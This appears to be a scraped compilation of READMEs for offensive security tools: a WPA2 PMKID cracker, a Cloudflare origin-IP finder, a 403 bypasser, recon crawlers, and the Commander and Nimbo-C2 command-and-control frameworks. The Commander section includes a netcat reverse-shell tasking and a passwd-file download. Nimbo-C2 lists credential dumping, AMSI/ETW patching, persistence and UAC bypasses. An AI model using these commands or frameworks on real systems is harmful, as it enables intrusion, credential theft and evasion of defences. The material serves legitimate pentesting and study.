This program is a tool written in Python to recover the pre-shared key of a WPA2 WiFi network without any de-authentication or requiring any clients to be on the network. It targets the weakness of certain access points advertising the PMKID value in EAPOL message 1.
python pmkidcracker.py -s <SSID> -ap <APMAC> -c <CLIENTMAC> -p <PMKID> -w <WORDLIST> -t <THREADS(Optional)>
NOTE: apmac, clientmac, pmkid must be a hexstring, e.g b8621f50edd9
The two main formulas to obtain a PMKID are as follows:
This is just for understanding, both are already implemented in find_pw_chunk
and calculate_pmkid
.
Below are the steps to obtain the PMKID manually by inspecting the packets in WireShark.
*You may use Hcxtools or Bettercap to quickly obtain the PMKID without the below steps. The manual way is for understanding.
To obtain the PMKID manually from wireshark, put your wireless antenna in monitor mode, start capturing all packets with airodump-ng or similar tools. Then connect to the AP using an invalid password to capture the EAPOL 1 handshake message. Follow the next 3 steps to obtain the fields needed for the arguments.
Open the pcap in WireShark:
wlan_rsna_eapol.keydes.msgnr == 1
in WireShark to display only EAPOL message 1 packets.If access point is vulnerable, you should see the PMKID value like the below screenshot:
This tool is for educational and testing purposes only. Do not use it to exploit the vulnerability on any network that you do not own or have permission to test. The authors of this script are not responsible for any misuse or damage caused by its use.
CloakQuest3r is a powerful Python tool meticulously crafted to uncover the true IP address of websites safeguarded by Cloudflare, a widely adopted web security and performance enhancement service. Its core mission is to accurately discern the actual IP address of web servers that are concealed behind Cloudflare's protective shield. Subdomain scanning is employed as a key technique in this pursuit. This tool is an invaluable resource for penetration testers, security professionals, and web administrators seeking to perform comprehensive security assessments and identify vulnerabilities that may be obscured by Cloudflare's security measures.
Key Features:
Real IP Detection: CloakQuest3r excels in the art of discovering the real IP address of web servers employing Cloudflare's services. This crucial information is paramount for conducting comprehensive penetration tests and ensuring the security of web assets.
Subdomain Scanning: Subdomain scanning is harnessed as a fundamental component in the process of finding the real IP address. It aids in the identification of the actual server responsible for hosting the website and its associated subdomains.
Threaded Scanning: To enhance efficiency and expedite the real IP detection process, CloakQuest3r utilizes threading. This feature enables scanning of a substantial list of subdomains without significantly extending the execution time.
Detailed Reporting: The tool provides comprehensive output, including the total number of subdomains scanned, the total number of subdomains found, and the time taken for the scan. Any real IP addresses unveiled during the process are also presented, facilitating in-depth analysis and penetration testing.
With CloakQuest3r, you can confidently evaluate website security, unveil hidden vulnerabilities, and secure your web assets by disclosing the true IP address concealed behind Cloudflare's protective layers.
- Still in the development phase, sometimes it can't detect the real Ip.
- CloakQuest3r combines multiple indicators to uncover real IP addresses behind Cloudflare. While subdomain scanning is a part of the process, we do not assume that all subdomains' A records point to the target host. The tool is designed to provide valuable insights but may not work in every scenario. We welcome any specific suggestions for improvement.
1. False Negatives: CloakReveal3r may not always accurately identify the real IP address behind Cloudflare, particularly for websites with complex network configurations or strict security measures.
2. Dynamic Environments: Websites' infrastructure and configurations can change over time. The tool may not capture these changes, potentially leading to outdated information.
3. Subdomain Variation: While the tool scans subdomains, it doesn't guarantee that all subdomains' A records will point to the pri mary host. Some subdomains may also be protected by Cloudflare.
How to Use:
Run CloudScan with a single command-line argument: the target domain you want to analyze.
git clone https://github.com/spyboy-productions/CloakQuest3r.git
cd CloakQuest3r
pip3 install -r requirements.txt
python cloakquest3r.py example.com
The tool will check if the website is using Cloudflare. If not, it will inform you that subdomain scanning is unnecessary.
If Cloudflare is detected, CloudScan will scan for subdomains and identify their real IP addresses.
You will receive detailed output, including the number of subdomains scanned, the total number of subdomains found, and the time taken for the scan.
Any real IP addresses found will be displayed, allowing you to conduct further analysis and penetration testing.
CloudScan simplifies the process of assessing website security by providing a clear, organized, and informative report. Use it to enhance your security assessments, identify potential vulnerabilities, and secure your web assets.
Run it online on replit.com : https://replit.com/@spyb0y/CloakQuest3r
Forbidden Buster is a tool designed to automate various techniques in order to bypass HTTP 401 and 403 response codes and gain access to unauthorized areas in the system. This code is made for security enthusiasts and professionals only. Use it at your own risk.
Install requirements
pip3 install -r requirements.txt
Run the script
python3 forbidden_buster.py -u http://example.com
Forbidden Buster accepts the following arguments:
-h, --help show this help message and exit
-u URL, --url URL Full path to be used
-m METHOD, --method METHOD
Method to be used. Default is GET
-H HEADER, --header HEADER
Add a custom header
-d DATA, --data DATA Add data to requset body. JSON is supported with escaping
-p PROXY, --proxy PROXY
Use Proxy
--rate-limit RATE_LIMIT
Rate limit (calls per second)
--include-unicode Include Unicode fuzzing (stressful)
--include-user-agent Include User-Agent fuzzing (stressful)
Example Usage:
python3 forbidden_buster.py --url "http://example.com/secret" --method POST --header "Authorization: Bearer XXX" --data '{\"key\":\"value\"}' --proxy "http://proxy.example.com" --rate-limit 5 --include-unicode --include-user-agent
Commander is a command and control framework (C2) written in Python, Flask and SQLite. ItΒ comes with two agents written in Python and C.
Under Continuous Development
Not script-kiddie friendly
Python >= 3.6 is required to run and the following dependencies
Linux for the admin.py and c2_server.py. (Untested for windows)
apt install libcurl4-openssl-dev libb64-dev
apt install openssl
pip3 install -r requirements.txt
First create the required certs and keys
# if you want to secure your key with a passphrase exclude the -nodes
openssl req -x509 -newkey rsa:4096 -keyout server.key -out server.crt -days 365 -nodes
Start the admin.py module first in order to create a local sqlite db file
python3 admin.py
Continue by running the server
python3 c2_server.py
And last the agent. For the python case agent you can just run it but in the case of the C agent you need to compile it first.
# python agent
python3 agent.py
# C agent
gcc agent.c -o agent -lcurl -lb64
./agent
By default both the Agents and the server are running over TLS and base64. The communication point is set to 127.0.0.1:5000 and in case a different point is needed it should be changed in Agents source files.
As the Operator/Administrator you can use the following commands to control your agents
Commands:
task add arg c2-commands
Add a task to an agent, to a group or on all agents.
arg: can have the following values: 'all' 'type=Linux|Windows' 'your_uuid'
c2-commands: possible values are c2-register c2-shell c2-sleep c2-quit
c2-register: Triggers the agent to register again.
c2-shell cmd: It takes an shell command for the agent to execute. eg. c2-shell whoami
cmd: The command to execute.
c2-sleep: Configure the interval that an agent will check for tasks.
c2-session port: Instructs the agent to open a shell session with the server to this port.
port: The port to connect to. If it is not provided it defaults to 5555.
c2-quit: Forces an agent to quit.
task delete arg
Delete a task from an agent or all agents.
arg: can have the following values: 'all' 'type=Linux|Windows' 'your_uuid'
show agent arg
Displays inf o for all the availiable agents or for specific agent.
arg: can have the following values: 'all' 'type=Linux|Windows' 'your_uuid'
show task arg
Displays the task of an agent or all agents.
arg: can have the following values: 'all' 'type=Linux|Windows' 'your_uuid'
show result arg
Displays the history/result of an agent or all agents.
arg: can have the following values: 'all' 'type=Linux|Windows' 'your_uuid'
find active agents
Drops the database so that the active agents will be registered again.
exit
Bye Bye!
Sessions:
sessions server arg [port]
Controls a session handler.
arg: can have the following values: 'start' , 'stop' 'status'
port: port is optional for the start arg and if it is not provided it defaults to 5555. This argument defines the port of the sessions server
sessions select arg
Select in which session to attach.
arg: the index from the 'sessions list' result
sessions close arg
Close a session.
arg: the index from the 'sessions list' result
sessions list
Displays the availiable sessions
local-ls directory
Lists on your host the files on the selected directory
download 'file'
Downloads the 'file' locally on the current directory
upload 'file'
Uploads a file in the directory where the agent currently is
Special attention should be given to the 'find active agents' command. This command deletes all the tables and creates them again. It might sound scary but it is not, at least that is what i believe :P
The idea behind this functionality is that the c2 server can request from an agent to re-register at the case that it doesn't recognize him. So, since we want to clear the db from unused old entries and at the same time find all the currently active hosts we can drop the tables and trigger the re-register mechanism of the c2 server. See below for the re-registration mechanism.
Below you can find a normal flow diagram
In case where the environment experiences a major failure like a corrupted database or some other critical failure the re-registration mechanism is enabled so we don't lose our connection with our agents.
More specifically, in case where we lose the database we will not have any information about the uuids that we are receiving thus we can't set tasks on them etc... So, the agents will keep trying to retrieve their tasks and since we don't recognize them we will ask them to register again so we can insert them in our database and we can control them again.
Below is the flow diagram for this case.
To setup your environment start the admin.py first and then the c2_server.py and run the agent. After you can check the availiable agents.
# show all availiable agents
show agent all
To instruct all the agents to run the command "id" you can do it like this:
# check the results of a specific agent
show result 85913eb1245d40eb96cf53eaf0b1e241
You can also change the interval of the agents that checks for tasks to 30 seconds like this:
# to set it for all agents
task add all c2-sleep 30
To open a session with one or more of your agents do the following.
# find the agent/uuid
show agent all
# enable the server to accept connections
sessions server start 5555
# add a task for a session to your prefered agent
task add your_prefered_agent_uuid_here c2-session 5555
# display a list of available connections
sessions list
# select to attach to one of the sessions, lets select 0
sessions select 0
# run a command
id
# download the passwd file locally
download /etc/passwd
# list your files locally to check that passwd was created
local-ls
# upload a file (test.txt) in the directory where the agent is
upload test.txt
# return to the main cli
go back
# check if the server is running
sessions server status
# stop the sessions server
sessions server stop
If for some reason you want to run another external session like with netcat or metaspolit do the following.
# show all availiable agents
show agent all
# first open a netcat on your machine
nc -vnlp 4444
# add a task to open a reverse shell for a specific agent
task add 85913eb1245d40eb96cf53eaf0b1e241 c2-shell nc -e /bin/sh 192.168.1.3 4444
This way you will have a 'die hard' shell that even if you get disconnected it will get back up immediately. Only the interactive commands will make it die permanently.
The python Agent offers obfuscation using a basic AES ECB encryption and base64 encoding
Edit the obfuscator.py file and change the 'key' value to a 16 char length key in order to create a custom payload. The output of the new agent can be found in Agents/obs_agent.py
You can run it like this:
python3 obfuscator.py
# and to run the agent, do as usual
python3 obs_agent.py
gunicorn -w 4 "c2_server:create_app()" --access-logfile=- -b 0.0.0.0:5000 --certfile server.crt --keyfile server.key
pip install pyinstaller
pyinstaller --onefile agent.py
The binary can be found under the dist directory.
In case something fails you may need to update your python and pip libs. If it continues failing then ..well.. life happened
Create new certs in each engagement
Backup your c2.db, it is easy... just a file
pytest was used for the testing. You can run the tests like this:
cd tests/
py.test
Be careful: You must run the tests inside the tests directory otherwise your c2.db will be overwritten and you will lose your data
To check the code coverage and produce a nice html report you can use this:
# pip3 install pytest-cov
python -m pytest --cov=Commander --cov-report html
Disclaimer: This tool is only intended to be a proof of concept demonstration tool for authorized security testing. Running this tool against hosts that you do not have explicit permission to test is illegal. You are responsible for any trouble you may cause by using this tool.
Spoofy
is a program that checks if a list of domains can be spoofed based on SPF and DMARC records. You may be asking, "Why do we need another tool that can check if a domain can be spoofed?"
Well, Spoofy is different and here is why:
- Authoritative lookups on all lookups with known fallback (Cloudflare DNS)
- Accurate bulk lookups
- Custom, manually tested spoof logic (No guessing or speculating, real world test results)
- SPF lookup counter
Β
Spoofy
requires Python 3+. Python 2 is not supported. Usage is shown below:
Usage:
./spoofy.py -d [DOMAIN] -o [stdout or xls]
OR
./spoofy.py -iL [DOMAIN_LIST] -o [stdout or xls]
Install Dependencies:
pip3 install -r requirements.txt
(The spoofability table lists every combination of SPF and DMARC configurations that impact deliverability to the inbox, except for DKIM modifiers.) Download Here
The creation of the spoofability table involved listing every relevant SPF and DMARC configuration, combining them, and then conducting SPF and DMARC information collection using an early version of Spoofy on a large number of US government domains. Testing if an SPF and DMARC combination was spoofable or not was done using the email security pentesting suite at emailspooftest using Microsoft 365. However, the initial testing was conducted using Protonmail and Gmail, but these services were found to utilize reverse lookup checks that affected the results, particularly for subdomain spoof testing. As a result, Microsoft 365 was used for the testing, as it offered greater control over the handling of mail.
After the initial testing using Microsoft 365, some combinations were retested using Protonmail and Gmail due to the differences in their handling of banners in emails. Protonmail and Gmail can place spoofed mail in the inbox with a banner or in spam without a banner, leading to some SPF and DMARC combinations being reported as "Mailbox Dependent" when using Spoofy. In contrast, Microsoft 365 places both conditions in spam. The testing and data collection process took several days to complete, after which a good master table was compiled and used as the basis for the Spoofy spoofability logic.
This tool is only for testing and academic purposes and can only be used where strict consent has been given. Do not use it for illegal purposes! It is the end userβs responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this tool and software.
Lead / Only programmer & spoofability logic comprehension upgrades & lookup resiliency system / fix (main issue with other tools) & multithreading & feature additions: Matt Keeley
DMARC, SPF, DNS insights & Spoofability table creation/confirmation/testing & application accuracy/quality assurance: calamity.email / eman-ekaf
Logo: cobracode
Tool was inspired by Bishop Fox's project called spoofcheck.
xsubfind3r
is a command-line interface (CLI) utility to find domain's known subdomains from curated passive online sources.
Fetches domains from curated passive sources to maximize results.
Supports stdin
and stdout
for easy integration into workflows.
Cross-Platform (Windows, Linux & macOS).
Visit the releases page and find the appropriate archive for your operating system and architecture. Download the archive from your browser or copy its URL and retrieve it with wget
or curl
:
...with wget
:
wget https://github.com/hueristiq/xsubfind3r/releases/download/v<version>/xsubfind3r-<version>-linux-amd64.tar.gz
...or, with curl
:
curl -OL https://github.com/hueristiq/xsubfind3r/releases/download/v<version>/xsubfind3r-<version>-linux-amd64.tar.gz
...then, extract the binary:
tar xf xsubfind3r-<version>-linux-amd64.tar.gz
TIP: The above steps, download and extract, can be combined into a single step with this onliner
curl -sL https://github.com/hueristiq/xsubfind3r/releases/download/v<version>/xsubfind3r-<version>-linux-amd64.tar.gz | tar -xzv
NOTE: On Windows systems, you should be able to double-click the zip archive to extract the xsubfind3r
executable.
...move the xsubfind3r
binary to somewhere in your PATH
. For example, on GNU/Linux and OS X systems:
sudo mv xsubfind3r /usr/local/bin/
NOTE: Windows users can follow How to: Add Tool Locations to the PATH Environment Variable in order to add xsubfind3r
to their PATH
.
Before you install from source, you need to make sure that Go is installed on your system. You can install Go by following the official instructions for your operating system. For this, we will assume that Go is already installed.
go install ...
go install -v github.com/hueristiq/xsubfind3r/cmd/xsubfind3r@latest
go build ...
the development VersionClone the repository
git clone https://github.com/hueristiq/xsubfind3r.git
Build the utility
cd xsubfind3r/cmd/xsubfind3r && \
go build .
Move the xsubfind3r
binary to somewhere in your PATH
. For example, on GNU/Linux and OS X systems:
sudo mv xsubfind3r /usr/local/bin/
NOTE: Windows users can follow How to: Add Tool Locations to the PATH Environment Variable in order to add xsubfind3r
to their PATH
.
NOTE: While the development version is a good way to take a peek at xsubfind3r
's latest features before they get released, be aware that it may have bugs. Officially released versions will generally be more stable.
xsubfind3r
will work right after installation. However, BeVigil, Chaos, Fullhunt, Github, Intelligence X and Shodan require API keys to work, URLScan supports API key but not required. The API keys are stored in the $HOME/.hueristiq/xsubfind3r/config.yaml
file - created upon first run - and uses the YAML format. Multiple API keys can be specified for each of these source from which one of them will be used.
Example config.yaml
:
version: 0.3.0
sources:
- alienvault
- anubis
- bevigil
- chaos
- commoncrawl
- crtsh
- fullhunt
- github
- hackertarget
- intelx
- shodan
- urlscan
- wayback
keys:
bevigil:
- awA5nvpKU3N8ygkZ
chaos:
- d23a554bbc1aabb208c9acfbd2dd41ce7fc9db39asdsd54bbc1aabb208c9acfb
fullhunt:
- 0d9652ce-516c-4315-b589-9b241ee6dc24
github:
- d23a554bbc1aabb208c9acfbd2dd41ce7fc9db39
- asdsd54bbc1aabb208c9acfbd2dd41ce7fc9db39
intelx:
- 2.intelx.io:00000000-0000-0000-0000-000000000000
shodan:
- AAAAClP1bJJSRMEYJazgwhJKrggRwKA
urlscan:
- d4c85d34-e425-446e-d4ab-f5a3412acbe8
To display help message for xsubfind3r
use the -h
flag:
xsubfind3r -h
help message:
_ __ _ _ _____
__ _____ _ _| |__ / _(_)_ __ __| |___ / _ __
\ \/ / __| | | | '_ \| |_| | '_ \ / _` | |_ \| '__|
> <\__ \ |_| | |_) | _| | | | | (_| |___) | |
/_/\_\___/\__,_|_.__/|_| |_|_| |_|\__,_|____/|_| v0.3.0
USAGE:
xsubfind3r [OPTIONS]
INPUT:
-d, --domain string[] target domains
-l, --list string target domains' list file path
SOURCES:
--sources bool list supported sources
-u, --sources-to-use string[] comma(,) separeted sources to use
-e, --sources-to-exclude string[] comma(,) separeted sources to exclude
OPTIMIZATION:
-t, --threads int number of threads (default: 50)
OUTPUT:
--no-color bool disable colored output
-o, --output string output subdomains' file path
-O, --output-directory string output subdomains' directory path
-v, --verbosity string debug, info, warning, error, fatal or silent (default: info)
CONFIGURATION:
-c, --configuration string configuration file path (default: ~/.hueristiq/xsubfind3r/config.yaml)
Issues and Pull Requests are welcome! Check out the contribution guidelines.
This utility is distributed under the MIT license.
This project was built by pentesters for pentesters. Redeye is a tool intended to help you manage your data during a pentest operation in the most efficient and organized way.
Daniel Arad - @dandan_arad && Elad Pticha - @elad_pt
The Server panel will display all added server and basic information about the server such as: owned user, open port and if has been pwned.
After entering the server, An edit panel will appear. We can add new users found on the server, Found vulnerabilities and add relevant attain and files.
Users panel contains all found users from all servers, The users are categorized by permission level and type. Those details can be chaned by hovering on the username.
Files panel will display all the files from the current pentest. A team member can upload and download those files.
Attack vector panel will display all found attack vectors with Severity/Plausibility/Risk graphs.
PreReport panel will contain all the screenshots from the current pentest.
Graph panel will contain all of the Users and Servers and the relationship between them.
APIs allow users to effortlessly retrieve data by making simple API requests.
curl redeye.local:8443/api/servers --silent -H "Token: redeye_61a8fc25-105e-4e70-9bc3-58ca75e228ca" | jq
curl redeye.local:8443/api/users --silent -H "Token: redeye_61a8fc25-105e-4e70-9bc3-58ca75e228ca" | jq
curl redeye.local:8443/api/exploits --silent -H "Token: redeye_61a8fc25-105e-4e70-9bc3-58ca75e228ca" | jq
Pull from GitHub container registry.
git clone https://github.com/redeye-framework/Redeye.git
cd Redeye
docker-compose up -d
Start/Stop the container
sudo docker-compose start/stop
Save/Load Redeye
docker save ghcr.io/redeye-framework/redeye:latest neo4j:4.4.9 > Redeye.tar
docker load < Redeye.tar
GitHub container registry: https://github.com/redeye-framework/Redeye/pkgs/container/redeye
git clone https://github.com/redeye-framework/Redeye.git
cd Redeye
sudo apt install python3.8-venv
python3 -m venv RedeyeVirtualEnv
source RedeyeVirtualEnv/bin/activate
pip3 install -r requirements.txt
python3 RedDB/db.py
python3 redeye.py --safe
Redeye will listen on: http://0.0.0.0:8443
Default Credentials:
Neo4j will listen on: http://0.0.0.0:7474
Default Credentials:
Sidebar
flowchart
download.js
dropzone
Pictures and Icons
Logs
If you own any Code/File in Redeye that is not under MIT License please contact us at: redeye.framework@gmail.com
xcrawl3r
is a command-line interface (CLI) utility to recursively crawl webpages i.e systematically browse webpages' URLs and follow links to discover linked webpages' URLs.
.js
, .json
, .xml
, .csv
, .txt
& .map
).robots.txt
.Visit the releases page and find the appropriate archive for your operating system and architecture. Download the archive from your browser or copy its URL and retrieve it with wget
or curl
:
...with wget
:
wget https://github.com/hueristiq/xcrawl3r/releases/download/v<version>/xcrawl3r-<version>-linux-amd64.tar.gz
...or, with curl
:
curl -OL https://github.com/hueristiq/xcrawl3r/releases/download/v<version>/xcrawl3r-<version>-linux-amd64.tar.gz
...then, extract the binary:
tar xf xcrawl3r-<version>-linux-amd64.tar.gz
TIP: The above steps, download and extract, can be combined into a single step with this onliner
curl -sL https://github.com/hueristiq/xcrawl3r/releases/download/v<version>/xcrawl3r-<version>-linux-amd64.tar.gz | tar -xzv
NOTE: On Windows systems, you should be able to double-click the zip archive to extract the xcrawl3r
executable.
...move the xcrawl3r
binary to somewhere in your PATH
. For example, on GNU/Linux and OS X systems:
sudo mv xcrawl3r /usr/local/bin/
NOTE: Windows users can follow How to: Add Tool Locations to the PATH Environment Variable in order to add xcrawl3r
to their PATH
.
Before you install from source, you need to make sure that Go is installed on your system. You can install Go by following the official instructions for your operating system. For this, we will assume that Go is already installed.
go install ...
go install -v github.com/hueristiq/xcrawl3r/cmd/xcrawl3r@latest
go build ...
the development VersionClone the repository
git clone https://github.com/hueristiq/xcrawl3r.git
Build the utility
cd xcrawl3r/cmd/xcrawl3r && \
go build .
Move the xcrawl3r
binary to somewhere in your PATH
. For example, on GNU/Linux and OS X systems:
sudo mv xcrawl3r /usr/local/bin/
NOTE: Windows users can follow How to: Add Tool Locations to the PATH Environment Variable in order to add xcrawl3r
to their PATH
.
NOTE: While the development version is a good way to take a peek at xcrawl3r
's latest features before they get released, be aware that it may have bugs. Officially released versions will generally be more stable.
To display help message for xcrawl3r
use the -h
flag:
xcrawl3r -h
help message:
_ _____
__ _____ _ __ __ ___ _| |___ / _ __
\ \/ / __| '__/ _` \ \ /\ / / | |_ \| '__|
> < (__| | | (_| |\ V V /| |___) | |
/_/\_\___|_| \__,_| \_/\_/ |_|____/|_| v0.1.0
A CLI utility to recursively crawl webpages.
USAGE:
xcrawl3r [OPTIONS]
INPUT:
-d, --domain string domain to match URLs
--include-subdomains bool match subdomains' URLs
-s, --seeds string seed URLs file (use `-` to get from stdin)
-u, --url string URL to crawl
CONFIGURATION:
--depth int maximum depth to crawl (default 3)
TIP: set it to `0` for infinite recursion
--headless bool If true the browser will be displayed while crawling.
-H, --headers string[] custom header to include in requests
e.g. -H 'Referer: http://example.com/'
TIP: use multiple flag to set multiple headers
--proxy string[] Proxy URL (e.g: http://127.0.0.1:8080)
TIP: use multiple flag to set multiple proxies
--render bool utilize a headless chrome instance to render pages
--timeout int time to wait for request in seconds (default: 10)
--user-agent string User Agent to use (default: web)
TIP: use `web` for a random web user-agent,
`mobile` for a random mobile user-agent,
or you can set your specific user-agent.
RATE LIMIT:
-c, --concurrency int number of concurrent fetchers to use (default 10)
--delay int delay between each request in seconds
--max-random-delay int maximux extra randomized delay added to `--dalay` (default: 1s)
-p, --parallelism int number of concurrent URLs to process (default: 10)
OUTPUT:
--debug bool enable debug mode (default: false)
-m, --monochrome bool coloring: no colored output mode
-o, --output string output file to write found URLs
-v, --verbosity string debug, info, warning, error, fatal or silent (default: debug)
Issues and Pull Requests are welcome! Check out the contribution guidelines.
This utility is distributed under the MIT license.
Alternatives - Check out projects below, that may fit in your workflow:
xurlfind3r
is a command-line interface (CLI) utility to find domain's known URLs from curated passive online sources.
robots.txt
snapshots.Visit the releases page and find the appropriate archive for your operating system and architecture. Download the archive from your browser or copy its URL and retrieve it with wget
or curl
:
...with wget
:
wget https://github.com/hueristiq/xurlfind3r/releases/download/v<version>/xurlfind3r-<version>-linux-amd64.tar.gz
...or, with curl
:
curl -OL https://github.com/hueristiq/xurlfind3r/releases/download/v<version>/xurlfind3r-<version>-linux-amd64.tar.gz
...then, extract the binary:
tar xf xurlfind3r-<version>-linux-amd64.tar.gz
TIP: The above steps, download and extract, can be combined into a single step with this onliner
curl -sL https://github.com/hueristiq/xurlfind3r/releases/download/v<version>/xurlfind3r-<version>-linux-amd64.tar.gz | tar -xzv
NOTE: On Windows systems, you should be able to double-click the zip archive to extract the xurlfind3r
executable.
...move the xurlfind3r
binary to somewhere in your PATH
. For example, on GNU/Linux and OS X systems:
sudo mv xurlfind3r /usr/local/bin/
NOTE: Windows users can follow How to: Add Tool Locations to the PATH Environment Variable in order to add xurlfind3r
to their PATH
.
Before you install from source, you need to make sure that Go is installed on your system. You can install Go by following the official instructions for your operating system. For this, we will assume that Go is already installed.
go install ...
go install -v github.com/hueristiq/xurlfind3r/cmd/xurlfind3r@latest
go build ...
the development VersionClone the repository
git clone https://github.com/hueristiq/xurlfind3r.git
Build the utility
cd xurlfind3r/cmd/xurlfind3r && \
go build .
Move the xurlfind3r
binary to somewhere in your PATH
. For example, on GNU/Linux and OS X systems:
sudo mv xurlfind3r /usr/local/bin/
NOTE: Windows users can follow How to: Add Tool Locations to the PATH Environment Variable in order to add xurlfind3r
to their PATH
.
NOTE: While the development version is a good way to take a peek at xurlfind3r
's latest features before they get released, be aware that it may have bugs. Officially released versions will generally be more stable.
xurlfind3r
will work right after installation. However, BeVigil, Github and Intelligence X require API keys to work, URLScan supports API key but not required. The API keys are stored in the $HOME/.hueristiq/xurlfind3r/config.yaml
file - created upon first run - and uses the YAML format. Multiple API keys can be specified for each of these source from which one of them will be used.
Example config.yaml
:
version: 0.2.0
sources:
- bevigil
- commoncrawl
- github
- intelx
- otx
- urlscan
- wayback
keys:
bevigil:
- awA5nvpKU3N8ygkZ
github:
- d23a554bbc1aabb208c9acfbd2dd41ce7fc9db39
- asdsd54bbc1aabb208c9acfbd2dd41ce7fc9db39
intelx:
- 2.intelx.io:00000000-0000-0000-0000-000000000000
urlscan:
- d4c85d34-e425-446e-d4ab-f5a3412acbe8
To display help message for xurlfind3r
use the -h
flag:
xurlfind3r -h
help message:
_ __ _ _ _____
__ ___ _ _ __| |/ _(_)_ __ __| |___ / _ __
\ \/ / | | | '__| | |_| | '_ \ / _` | |_ \| '__|
> <| |_| | | | | _| | | | | (_| |___) | |
/_/\_\\__,_|_| |_|_| |_|_| |_|\__,_|____/|_| v0.2.0
USAGE:
xurlfind3r [OPTIONS]
TARGET:
-d, --domain string (sub)domain to match URLs
SCOPE:
--include-subdomains bool match subdomain's URLs
SOURCES:
-s, --sources bool list sources
-u, --use-sources string sources to use (default: bevigil,commoncrawl,github,intelx,otx,urlscan,wayback)
--skip-wayback-robots bool with wayback, skip parsing robots.txt snapshots
--skip-wayback-source bool with wayback , skip parsing source code snapshots
FILTER & MATCH:
-f, --filter string regex to filter URLs
-m, --match string regex to match URLs
OUTPUT:
--no-color bool no color mode
-o, --output string output URLs file path
-v, --verbosity string debug, info, warning, error, fatal or silent (default: info)
CONFIGURATION:
-c, --configuration string configuration file path (default: ~/.hueristiq/xurlfind3r/config.yaml)
xurlfind3r -d hackerone.com --include-subdomains
# filter images
xurlfind3r -d hackerone.com --include-subdomains -f '`^https?://[^/]*?/.*\.(jpg|jpeg|png|gif|bmp)(\?[^\s]*)?$`'
# match js URLs
xurlfind3r -d hackerone.com --include-subdomains -m '^https?://[^/]*?/.*\.js(\?[^\s]*)?$'
Issues and Pull Requests are welcome! Check out the contribution guidelines.
This utility is distributed under the MIT license.
SysReptor is a fully customisable, offensive security reporting tool designed for pentesters, red teamers and other security-related people alike. You can create designs based on simple HTML and CSS, write your reports in user-friendly Markdown and convert them to PDF with just a single click, in the cloud or on-premise!
You just want to start reporting and save yourself all the effort of setting up, configuring and maintaining a dedicated server? Then SysReptor Cloud is the right choice for you! Get to know SysReptor on our Playground and if you like it, you can get your personal Cloud instance here:
You prefer self-hosting? That's fine! You will need:
You can then install SysReptor with via script:
curl -s https://docs.sysreptor.com/install.sh | bash
After successful installation, access your application at http://localhost:8000/.
Get detailed installation instructions at Installation.
Nimbo-C2 is yet another (simple and lightweight) C2 framework.
Nimbo-C2 agent supports x64 Windows & Linux. It's written in Nim, with some usage of .NET on Windows (by dynamically loading the CLR to the process). Nim is powerful, but interacting with Windows is much easier and robust using Powershell, hence this combination is made. The Linux agent is slimer and capable only of basic commands, including ELF loading using the memfd technique.
All server components are written in Python:
My work wouldn't be possible without the previous great work done by others, listed under credits.
UPX0
, UPX1
) to make detection and unpacking harder.config.jsonc
).cd
ingit clone https://github.com/itaymigdal/Nimbo-C2
cd Nimbo-C2
docker build -t nimbo-dependencies .
cd
again into the source files and run the docker image interactively, expose port 80 and mount Nimbo-C2 directory to the container (so you can easily access all project files, modify config.jsonc
, download and upload files from agents, etc.). For Linux replace ${pwd}
with $(pwd)
.cd Nimbo-C2
docker run -it --rm -p 80:80 -v ${pwd}:/Nimbo-C2 -w /Nimbo-C2 nimbo-dependencies
git clone https://github.com/itaymigdal/Nimbo-C2
cd Nimbo-C2/Nimbo-C2
docker run -it --rm -p 80:80 -v ${pwd}:/Nimbo-C2 -w /Nimbo-C2 itaymigdal/nimbo-dependencies
First, edit config.jsonc
for your needs.
Then run with: python3 Nimbo-C2.py
Use the help
command for each screen, and tab completion.
Also, check the examples directory.
Nimbo-C2 > help
--== Agent ==--
agent list -> list active agents
agent interact <agent-id> -> interact with the agent
agent remove <agent-id> -> remove agent data
--== Builder ==--
build exe -> build exe agent (-h for help)
build dll -> build dll agent (-h for help)
build elf -> build elf agent (-h for help)
--== Listener ==--
listener start -> start the listener
listener stop -> stop the listener
listener status -> print the listener status
--== General ==--
cls -> clear the screen
help -> print this help message
exit -> exit Nimbo-C2
</ div> Nimbo-2 [d337c406] > help
--== Send Commands ==--
cmd <shell-command> -> execute a shell command
iex <powershell-scriptblock> -> execute in-memory powershell command
--== File Stuff ==--
download <remote-file> -> download a file from the agent (wrap path with quotes)
upload <loal-file> <remote-path> -> upload a file to the agent (wrap paths with quotes)
--== Discovery Stuff ==--
pstree -> show process tree
checksec -> check for security products
software -> check for installed software
--== Collection Stuff ==--
clipboard -> retrieve clipboard
screenshot -> retrieve screenshot
audio <record-time> -> record audio
--== Post Exploitation Stuff ==--
lsass <method> -> dump lsass.exe [methods: direct,comsvcs] (elevation required)
sam -> dump sam,security,system hives using reg.exe (elevation required)
shellc <raw-shellcode-file> <pid> -> inject shellcode to remote process
assembly <local-assembly> <args> -> execute .net assembly (pass all args as a single string using quotes)
warning: make sure the assembly doesn't call any exit function
--== Evasion Stuff ==--
unhook -> unhook ntdll.dll
amsi -> patch amsi out of the current process
etw -> patch etw out of the current process
--== Persistence Stuff ==--
persist run <command> <key-name> -> set run key (will try first hklm, then hkcu)
persist spe <command> <process-name> -> persist using silent process exit technique (elevation required)
--== Privesc Stuff ==--
uac fodhelper <command> <keep/die> -> elevate session using the fodhelper uac bypass technique
uac sdclt <command> <keep/die> -> elevate session using the sdclt uac bypass technique
--== Interaction stuff ==--
msgbox <title> <text> -> pop a message box (blocking! waits for enter press)
speak <text> -> speak using sapi.spvoice com interface
--== Communication Stuff ==--
sleep <sleep-time> <jitter-%> -> change sleep time interval and jitter
clear -> clear pending commands
collect -> recollect agent data
kill -> kill the agent (persistence will still take place)
--== General ==--
show -> show agent details
back -> back to main screen
cls -> clear the screen
help -> print this help message
exit -> exit Nimbo-C2
Nimbo-2 [51a33cb9] > help
--== Send Commands ==--
cmd <shell-command> -> execute a terminal command
--== File Stuff ==--
download <remote-file> -> download a file from the agent (wrap path with quotes)
upload <local-file> <remote-path> -> upload a file to the agent (wrap paths with quotes)
--== Post Exploitation Stuff ==--
memfd <mode> <elf-file> <commandline> -> load elf in-memory using the memfd_create syscall
implant mode: load the elf as a child process and return
task mode: load the elf as a child process, wait on it, and get its output when it's done
(pass the whole commandline as a single string using quotes)
--== Communication Stuff ==--
sleep <sleep-time> <jitter-%> -> change sleep time interval and jitter
clear -> clear pending commands
collect -> recollect agent data
kill -> kill the agent (persistence will still take place)
